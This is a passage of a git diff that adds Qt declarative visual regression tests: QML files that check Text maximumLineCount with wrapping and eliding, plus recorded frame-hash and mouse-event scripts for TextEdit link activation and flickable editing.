diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml
new file mode 100644
index 0000000..4b55312
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "wrap.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.png
new file mode 100644
index 0000000..62274ce
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml
new file mode 100644
index 0000000..7d002ea
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "wrap_elide.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml
new file mode 100644
index 0000000..4e993c6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ width: childrenRect.width
+ height: childrenRect.height
+
+ TestText {
+ width: 80
+ maximumLineCount: 2
+ text: "Line1\nLine2\nLine3\nLine4"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml
new file mode 100644
index 0000000..5d8f50b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ width: childrenRect.width
+ height: childrenRect.height
+
+ TestText {
+ width: 80
+ maximumLineCount: 3
+ wrapMode: Text.WordWrap
+ text: "Line1 has a more\nLine2\nLine3\nLine4"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml
new file mode 100644
index 0000000..ac7b5cb
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ width: childrenRect.width
+ height: childrenRect.height
+
+ TestText {
+ width: 80
+ maximumLineCount: 3
+ wrapMode: Text.WordWrap
+ elide: Text.ElideRight
+ text: "Line1 has a more\nLine2\nLine3\nLine4"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml
new file mode 100644
index 0000000..6d72430
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ width: childrenRect.width
+ height: childrenRect.height
+
+ TestText {
+ width: 80
+ maximumLineCount: 3
+ wrapMode: Text.WordWrap
+ text: "The quick brown fox jumped over the lazy dog"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml
new file mode 100644
index 0000000..785c5f5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ width: childrenRect.width
+ height: childrenRect.height
+
+ TestText {
+ width: 80
+ maximumLineCount: 3
+ wrapMode: Text.WordWrap
+ elide: Text.ElideRight
+ text: "The quick brown fox jumped over the lazy dog"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.png
new file mode 100644
index 0000000..74c6934
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml
new file mode 100644
index 0000000..e4dbeb1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "justify.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.png
new file mode 100644
index 0000000..7d0d0ae
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.png
new file mode 100644
index 0000000..7d612bf
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml
new file mode 100644
index 0000000..8c7e380
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml
@@ -0,0 +1,191 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "linkActivated.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 48
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 64
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 80
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 96
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 112
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 128
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 144
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 160
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 176
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 192
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 208
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 224
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 240
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 256
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 21; y: 13
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 272
+ hash: "9482227cbc77e9083218c1452e8644d8"
+ }
+ Frame {
+ msec: 288
+ hash: "9482227cbc77e9083218c1452e8644d8"
+ }
+ Frame {
+ msec: 304
+ hash: "9482227cbc77e9083218c1452e8644d8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 22; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 320
+ hash: "9482227cbc77e9083218c1452e8644d8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 23; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 23; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 336
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 352
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 368
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 384
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 400
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 416
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 432
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 448
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 464
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 480
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 496
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 512
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 528
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 544
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 560
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 576
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 592
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 608
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.0.png
new file mode 100644
index 0000000..431bed8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.1.png
new file mode 100644
index 0000000..d8d6bac
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.2.png
new file mode 100644
index 0000000..27e02e5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.3.png
new file mode 100644
index 0000000..00549b3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.4.png
new file mode 100644
index 0000000..5c2a885
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.5.png
new file mode 100644
index 0000000..5c2a885
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.6.png
new file mode 100644
index 0000000..fd7f010
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.qml
new file mode 100644
index 0000000..dff5452
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.qml
@@ -0,0 +1,3551 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "flickableEdit.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 48
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 64
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 80
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 96
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 112
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 128
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 144
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 160
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 176
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 192
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 208
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 224
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 240
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 256
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 272
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 288
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 304
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 320
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 336
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 352
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 368
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 384
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 400
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 416
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 432
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 448
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 464
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 480
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 496
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 512
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 528
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 544
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 560
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 576
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 592
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 608
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 624
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 640
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 656
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 672
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 688
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 704
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 720
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 736
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 752
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 768
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 784
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 800
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 816
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 832
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 848
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 864
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 880
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 896
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 29; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 912
+ hash: "1a426d2b8854412a3c91f927588f63ce"
+ }
+ Frame {
+ msec: 928
+ hash: "1a426d2b8854412a3c91f927588f63ce"
+ }
+ Frame {
+ msec: 944
+ hash: "1a426d2b8854412a3c91f927588f63ce"
+ }
+ Frame {
+ msec: 960
+ hash: "1a426d2b8854412a3c91f927588f63ce"
+ }
+ Frame {
+ msec: 976
+ image: "flickableEdit.1.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 30; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 32; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 992
+ hash: "1a426d2b8854412a3c91f927588f63ce"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 33; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 34; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1008
+ hash: "1a426d2b8854412a3c91f927588f63ce"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 36; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 39; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1024
+ hash: "4626e25f67dfd0fe3846322455762b3b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 41; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 44; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1040
+ hash: "4626e25f67dfd0fe3846322455762b3b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1056
+ hash: "e506425ea4a8eb6d94442ac0bccd0911"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 56; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1072
+ hash: "3c45be5d00748154f9abce8d525b5791"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 58; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 61; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1088
+ hash: "3e33ff0dfd478bad91472fa2bb4908a0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1104
+ hash: "3e33ff0dfd478bad91472fa2bb4908a0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 71; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1120
+ hash: "e8e7e98f3d7dbcdb4040ae81ef656e02"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 73; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 75; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1136
+ hash: "e8e7e98f3d7dbcdb4040ae81ef656e02"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 78; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 80; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1152
+ hash: "309c25ff85a361dfebd6464984fd9d79"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 83; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 85; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1168
+ hash: "4b4fc7d9263af761222bb23f41021731"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 87; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 90; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1184
+ hash: "4b4fc7d9263af761222bb23f41021731"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 93; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 96; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1200
+ hash: "bd00eeda31cfc8d59a2c9677e771dadb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 99; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 103; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1216
+ hash: "adce307d674b8425fa39b69958d6acc5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 106; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1232
+ hash: "36e04d9124f32a21784f3017cc26ee71"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 114; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 116; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1248
+ hash: "36e04d9124f32a21784f3017cc26ee71"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 119; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1264
+ hash: "c6548ac358dd0eb4fa07ed305039d4e2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 124; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 126; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1280
+ hash: "a0c4b8e21b0b04edaf7b32b2ab40edb2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 128; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 130; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1296
+ hash: "a0c4b8e21b0b04edaf7b32b2ab40edb2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 132; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 134; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1312
+ hash: "d32fb36408859c35dacc5787374b6ae4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 136; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 137; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1328
+ hash: "d32fb36408859c35dacc5787374b6ae4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 139; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 141; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1344
+ hash: "d32fb36408859c35dacc5787374b6ae4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 143; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 144; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1360
+ hash: "90f44df899138e894b1a7e42657b8331"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 146; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 147; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1376
+ hash: "90f44df899138e894b1a7e42657b8331"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 148; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 149; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1392
+ hash: "8ec6bb08aac10a622df934421f64beb4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 150; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 151; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1408
+ hash: "d4e52b7ca07033e4f2124607454fd81b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 152; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 154; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1424
